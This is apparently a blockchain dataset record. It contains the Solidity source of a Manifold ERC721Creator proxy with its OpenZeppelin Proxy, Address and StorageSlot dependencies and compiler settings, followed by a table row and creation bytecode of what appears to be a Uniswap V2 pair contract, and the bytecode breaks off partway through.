"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC721Creator is Proxy {\n \n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x5133522ea5A0494EcB83F26311A095DDD7a9D4b6;\n (bool success, ) = 0x5133522ea5A0494EcB83F26311A095DDD7a9D4b6.delegatecall(abi.encodeWithSignature(\"initialize(string,string)\", name, symbol));\n require(success, \"Initialization failed\");\n }\n \n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
},
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
}
},
"settings": {
"remappings": [
"@openzeppelin/=node_modules/@openzeppelin/"
],
"optimizer": {
"enabled": true,
"runs": 300
},
"metadata": {
"bytecodeHash": "ipfs"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}} |
1 | 20,290,724 | 0e505876a21dcc99e26202a4cf10a7db50eafb314f75342f9b44b1aeb0ea8e69 | 958eaadd961f85b8d69ab546182e456ac61d5e20fb7e7bcc9273b6cd855e06e4 | 64fe93ba9d2fcc94f6cb858e9ac5600f800a48b3 | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 7f6e3ebb6cbb2a393413602176167ded6b0d1211 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640